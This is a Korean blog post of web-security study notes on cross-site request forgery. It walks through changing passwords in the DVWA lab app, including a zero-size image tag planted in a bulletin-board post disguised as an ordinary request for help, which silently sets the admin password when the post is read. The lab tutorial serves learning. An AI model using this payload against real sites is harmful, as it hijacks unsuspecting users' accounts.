CSRF(Cross Site Request Forgery)
- 사이트 사이의 요청 위조
- 사용자가 자기도 모르는 사이에 공격자에 이용당하는 것
- 사용자의 의지와 상관 없이 공격자가 의도한 대로 행위(패스워드 수정,삭제)하도록 만드는 것
- XSS stored와 비슷
- 옥션이 이공격당함.
- 메일에 스크립트를 넣는 공격 방식도 있음
[form 값을 통해 패스워드 변경]
1. password의 form값을 leafpad를 통해 저장.
2. 가져온 form 에서 action값을 수정.
3. html파일을 클릭하여 333333으로 비밀번호 체인지.
[스크립트 수정으로 패스워드 변경]
1. 아까 가져온 form에서 안에 내용 수정
2. 수정한 html문서를 실행시키면 비밀번호가 자동으로 변경이됨.
[게시글을 통해 패스워드 변경]
1. 아래의 내용을 게시판에 업로드.
//adminpass로 비번을 변경시키는 스크립트.
도와달란말이다. //일반 게시글인척 위장하기위해 평문 작성.
<img width=0 heigh=0 src="http://meta/dvwa/vulnerabilities/csrf/?password_new=adminpass&password_conf=adminpass&Change=Change#"></img>
게시글을 읽는 즉시, 어드민의 비밀번호가 adminpass로 변경이 된다.
'Web Security' 카테고리의 다른 글
sql injection (0) | 2019.04.04 |
---|---|
SQL (4) | 2019.04.04 |
brute force 공격 (0) | 2019.04.02 |
crunch [사전파일생성] (0) | 2019.04.02 |
XSS(Cross Site Scripting) ,Session hijacking(BeEF) (0) | 2019.03.29 |